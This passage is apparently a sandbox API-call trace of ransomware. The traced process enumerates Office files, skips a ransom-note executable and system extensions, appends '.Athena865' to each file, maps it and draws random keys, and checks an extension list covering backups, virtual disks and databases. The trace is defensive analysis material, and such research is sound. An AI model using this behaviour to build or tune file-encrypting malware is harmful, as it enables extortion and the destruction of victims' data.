lstrcpyW (in: lpString1=0x241e8a8, lpString2="WINWORD_F_COL.HXK" | out: lpString1="WINWORD_F_COL.HXK") returned="WINWORD_F_COL.HXK" [0149.405] lstrlenW (lpString="WINWORD_F_COL.HXK") returned 17 [0149.405] lstrlenW (lpString="Athena865") returned 9 [0149.405] lstrcmpiW (lpString1="F_COL.HXK", lpString2="Athena865") returned 1 [0149.405] lstrlenW (lpString=".dll") returned 4 [0149.405] lstrcmpiW (lpString1="WINWORD_F_COL.HXK", lpString2=".dll") returned 1 [0149.405] lstrlenW (lpString=".lnk") returned 4 [0149.405] lstrcmpiW (lpString1="WINWORD_F_COL.HXK", lpString2=".lnk") returned 1 [0149.405] lstrlenW (lpString=".ini") returned 4 [0149.405] lstrcmpiW (lpString1="WINWORD_F_COL.HXK", lpString2=".ini") returned 1 [0149.405] lstrlenW (lpString=".sys") returned 4 [0149.405] lstrcmpiW (lpString1="WINWORD_F_COL.HXK", lpString2=".sys") returned 1 [0149.405] lstrlenW (lpString="WINWORD_F_COL.HXK") returned 17 [0149.405] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK.Athena865") returned 75 [0149.405] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_f_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_f_col.hxk.athena865"), dwFlags=0x1) returned 1 [0149.407] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_f_col.hxk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0149.407] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=114) returned 1 [0149.407] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0149.407] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0149.408] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0149.408] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0149.408] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0149.408] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0149.409] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x380, lpName=0x0) returned 0x17c [0149.410] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x380) returned 0x100000 [0149.411] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0149.412] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0149.412] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0149.412] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540fa0 [0149.412] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540fa0 | out: hHeap=0x4f0000) returned 1 [0149.412] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0149.412] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0149.412] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0149.412] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0149.412] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534f48 [0149.412] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0149.412] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534f48 | out: hHeap=0x4f0000) returned 1 [0149.412] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0149.413] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0149.413] CloseHandle (hObject=0x17c) returned 1 [0149.413] CloseHandle (hObject=0x154) returned 1 [0149.413] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0149.413] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0149.413] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0149.413] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79756b00, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x1e5e5bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79756b00, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WINWORD_K_COL.HXK", cAlternateFileName="WINWOR~4.HXK")) returned 1 [0149.413] lstrcmpiW (lpString1="WINWORD_K_COL.HXK", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0149.413] lstrcmpiW (lpString1="WINWORD_K_COL.HXK", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0149.413] lstrcpyW (in: lpString1=0x241e8a8, lpString2="WINWORD_K_COL.HXK" | out: lpString1="WINWORD_K_COL.HXK") returned="WINWORD_K_COL.HXK" [0149.413] lstrlenW (lpString="WINWORD_K_COL.HXK") returned 17 [0149.413] lstrlenW (lpString="Athena865") returned 9 [0149.413] lstrcmpiW (lpString1="K_COL.HXK", lpString2="Athena865") returned 1 [0149.413] lstrlenW (lpString=".dll") returned 4 [0149.413] lstrcmpiW (lpString1="WINWORD_K_COL.HXK", lpString2=".dll") returned 1 [0149.413] lstrlenW (lpString=".lnk") returned 4 [0149.413] lstrcmpiW (lpString1="WINWORD_K_COL.HXK", lpString2=".lnk") returned 1 [0149.413] lstrlenW (lpString=".ini") returned 4 [0149.413] lstrcmpiW (lpString1="WINWORD_K_COL.HXK", lpString2=".ini") returned 1 [0149.413] lstrlenW (lpString=".sys") returned 4 [0149.413] lstrcmpiW (lpString1="WINWORD_K_COL.HXK", lpString2=".sys") returned 1 [0149.414] lstrlenW (lpString="WINWORD_K_COL.HXK") returned 17 [0149.414] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK.Athena865") returned 75 [0149.414] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_k_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_k_col.hxk.athena865"), dwFlags=0x1) returned 1 [0149.415] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_k_col.hxk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0149.415] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=113) returned 1 [0149.415] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0149.416] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0149.416] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0149.416] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0149.416] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0149.416] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0149.417] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x380, lpName=0x0) returned 0x17c [0149.418] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x380) returned 0x100000 [0149.419] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0149.420] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0149.420] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0149.420] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540fa0 [0149.420] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540fa0 | out: hHeap=0x4f0000) returned 1 [0149.420] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0149.420] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0149.420] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0149.420] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0149.420] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534d20 [0149.421] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0149.421] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d20 | out: hHeap=0x4f0000) returned 1 [0149.421] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0149.421] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0149.421] CloseHandle (hObject=0x17c) returned 1 [0149.421] CloseHandle (hObject=0x154) returned 1 [0149.421] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0149.421] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0149.421] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0149.421] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa52c0600, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x521b7160, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa52c0600, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0xa560, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WORKFLOW.VSL", cAlternateFileName="")) returned 1 [0149.421] lstrcmpiW (lpString1="WORKFLOW.VSL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0149.421] lstrcmpiW (lpString1="WORKFLOW.VSL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0149.421] lstrcpyW (in: lpString1=0x241e8a8, lpString2="WORKFLOW.VSL" | out: lpString1="WORKFLOW.VSL") returned="WORKFLOW.VSL" [0149.421] lstrlenW (lpString="WORKFLOW.VSL") returned 12 [0149.421] lstrlenW (lpString="Athena865") returned 9 [0149.421] lstrcmpiW (lpString1="KFLOW.VSL", lpString2="Athena865") returned 1 [0149.421] lstrlenW (lpString=".dll") returned 4 [0149.421] lstrcmpiW (lpString1="WORKFLOW.VSL", lpString2=".dll") returned 1 [0149.421] lstrlenW (lpString=".lnk") returned 4 [0149.422] lstrcmpiW (lpString1="WORKFLOW.VSL", lpString2=".lnk") returned 1 [0149.422] lstrlenW (lpString=".ini") returned 4 [0149.422] lstrcmpiW (lpString1="WORKFLOW.VSL", lpString2=".ini") returned 1 [0149.422] lstrlenW (lpString=".sys") returned 4 [0149.422] lstrcmpiW (lpString1="WORKFLOW.VSL", lpString2=".sys") returned 1 [0149.422] lstrlenW (lpString="WORKFLOW.VSL") returned 12 [0149.422] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL.Athena865") returned 70 [0149.422] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\workflow.vsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\workflow.vsl.athena865"), dwFlags=0x1) returned 1 [0149.423] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\workflow.vsl.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0149.424] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=42336) returned 1 [0149.424] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0149.424] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0149.424] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0149.424] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0149.425] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0149.425] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0149.425] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa860, lpName=0x0) returned 0x17c [0149.426] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa860) returned 0x100000 [0149.428] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0149.429] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0149.429] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0149.429] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540fa0 [0149.429] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540fa0 | out: hHeap=0x4f0000) returned 1 [0149.429] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0149.429] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0149.429] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0149.429] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0149.429] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534f48 [0149.429] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0149.429] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534f48 | out: hHeap=0x4f0000) returned 1 [0149.430] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0149.430] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0149.430] CloseHandle (hObject=0x17c) returned 1 [0149.430] CloseHandle (hObject=0x154) returned 1 [0149.430] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0149.430] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0149.430] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0149.431] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7466000, ftCreationTime.dwHighDateTime=0x1caccde, ftLastAccessTime.dwLowDateTime=0x225ee90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd7466000, ftLastWriteTime.dwHighDateTime=0x1caccde, nFileSizeHigh=0x0, nFileSizeLow=0xdc158, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WWINTL.DLL", cAlternateFileName="")) returned 1 [0149.431] lstrcmpiW (lpString1="WWINTL.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0149.431] lstrcmpiW (lpString1="WWINTL.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0149.431] lstrcpyW (in: lpString1=0x241e8a8, lpString2="WWINTL.DLL" | out: lpString1="WWINTL.DLL") returned="WWINTL.DLL" [0149.431] lstrlenW (lpString="WWINTL.DLL") returned 10 [0149.431] lstrlenW (lpString="Athena865") returned 9 [0149.431] lstrcmpiW (lpString1="WINTL.DLL", lpString2="Athena865") returned 1 [0149.431] lstrlenW (lpString=".dll") returned 4 [0149.431] lstrcmpiW (lpString1="WWINTL.DLL", lpString2=".dll") returned 1 [0149.431] lstrlenW (lpString=".lnk") returned 4 [0149.431] lstrcmpiW (lpString1="WWINTL.DLL", lpString2=".lnk") returned 1 [0149.431] lstrlenW (lpString=".ini") returned 4 [0149.431] lstrcmpiW (lpString1="WWINTL.DLL", lpString2=".ini") returned 1 [0149.431] lstrlenW (lpString=".sys") returned 4 [0149.431] lstrcmpiW (lpString1="WWINTL.DLL", lpString2=".sys") returned 1 [0149.431] lstrlenW (lpString="WWINTL.DLL") returned 10 [0149.431] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.Athena865") returned 68 [0149.431] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wwintl.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wwintl.dll.athena865"), dwFlags=0x1) returned 1 [0149.433] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wwintl.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0149.433] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=901464) returned 1 [0149.433] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0149.433] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0149.433] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0149.433] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0149.434] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0149.434] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0149.434] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xdc460, lpName=0x0) returned 0x17c [0149.436] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xdc460) returned 0x2bb0000 [0149.465] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0149.465] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0149.465] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0149.466] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540fa0 [0149.466] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540fa0 | out: hHeap=0x4f0000) returned 1 [0149.466] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0149.466] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0149.466] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0149.466] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0149.466] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534d20 [0149.466] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0149.466] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d20 | out: hHeap=0x4f0000) returned 1 [0149.466] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0149.466] UnmapViewOfFile (lpBaseAddress=0x2bb0000) returned 1 [0149.474] CloseHandle (hObject=0x17c) returned 1 [0149.474] CloseHandle (hObject=0x154) returned 1 [0149.474] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0149.474] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0149.474] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0149.478] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb8a5d00, ftCreationTime.dwHighDateTime=0x1caccde, ftLastAccessTime.dwLowDateTime=0x2212bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb8a5d00, ftLastWriteTime.dwHighDateTime=0x1caccde, nFileSizeHigh=0x0, nFileSizeLow=0x1a780, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WWINTL.DLL.IDX_DLL", cAlternateFileName="WWINTL~1.IDX")) returned 1 [0149.478] lstrcmpiW (lpString1="WWINTL.DLL.IDX_DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0149.478] lstrcmpiW (lpString1="WWINTL.DLL.IDX_DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0149.478] lstrcpyW (in: lpString1=0x241e8a8, lpString2="WWINTL.DLL.IDX_DLL" | out: lpString1="WWINTL.DLL.IDX_DLL") returned="WWINTL.DLL.IDX_DLL" [0149.478] lstrlenW (lpString="WWINTL.DLL.IDX_DLL") returned 18 [0149.478] lstrlenW (lpString="Athena865") returned 9 [0149.478] lstrcmpiW (lpString1="L.IDX_DLL", lpString2="Athena865") returned 1 [0149.478] lstrlenW (lpString=".dll") returned 4 [0149.478] lstrcmpiW (lpString1="WWINTL.DLL.IDX_DLL", lpString2=".dll") returned 1 [0149.478] lstrlenW (lpString=".lnk") returned 4 [0149.478] lstrcmpiW (lpString1="WWINTL.DLL.IDX_DLL", lpString2=".lnk") returned 1 [0149.478] lstrlenW (lpString=".ini") returned 4 [0149.478] lstrcmpiW (lpString1="WWINTL.DLL.IDX_DLL", lpString2=".ini") returned 1 [0149.478] lstrlenW (lpString=".sys") returned 4 [0149.478] lstrcmpiW (lpString1="WWINTL.DLL.IDX_DLL", lpString2=".sys") returned 1 [0149.478] lstrlenW (lpString="WWINTL.DLL.IDX_DLL") returned 18 [0149.478] lstrlenW (lpString="bak") returned 3 [0149.478] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0149.478] lstrlenW (lpString="ba_") returned 3 [0149.478] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0149.479] lstrlenW (lpString="dbb") returned 3 [0149.479] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0149.479] lstrlenW (lpString="vmdk") returned 4 [0149.479] lstrcmpiW (lpString1="_DLL", lpString2="vmdk") returned -1 [0149.479] lstrlenW (lpString="rar") returned 3 [0149.479] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0149.479] lstrlenW (lpString="zip") returned 3 [0149.479] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0149.479] lstrlenW (lpString="tgz") returned 3 [0149.479] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0149.479] lstrlenW (lpString="vbox") returned 4 [0149.479] lstrcmpiW (lpString1="_DLL", lpString2="vbox") returned -1 [0149.479] lstrlenW (lpString="vdi") returned 3 [0149.479] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0149.479] lstrlenW (lpString="vhd") returned 3 [0149.479] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0149.479] lstrlenW (lpString="vhdx") returned 4 [0149.479] lstrcmpiW (lpString1="_DLL", lpString2="vhdx") returned -1 [0149.479] lstrlenW (lpString="avhd") returned 4 [0149.479] lstrcmpiW (lpString1="_DLL", lpString2="avhd") returned -1 [0149.479] lstrlenW (lpString="db") returned 2 [0149.479] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0149.479] lstrlenW (lpString="db2") returned 3 [0149.479] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0149.479] lstrlenW (lpString="db3") returned 3 [0149.479] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0149.479] lstrlenW (lpString="dbf") returned 3 [0149.479] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0149.479] lstrlenW (lpString="mdf") returned 3 [0149.479] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0149.479] lstrlenW (lpString="mdb") returned 3 [0149.480] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0149.480] lstrlenW (lpString="sql") returned 3 [0149.480] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0149.480] lstrlenW (lpString="sqlite") returned 6 [0149.480] lstrcmpiW (lpString1="DX_DLL", lpString2="sqlite") returned -1 [0149.480] lstrlenW (lpString="sqlite3") returned 7 [0149.480] lstrcmpiW (lpString1="IDX_DLL", lpString2="sqlite3") returned -1 [0149.480] lstrlenW (lpString="sqlitedb") returned 8 [0149.480] lstrcmpiW (lpString1=".IDX_DLL", lpString2="sqlitedb") returned -1 [0149.480] lstrlenW 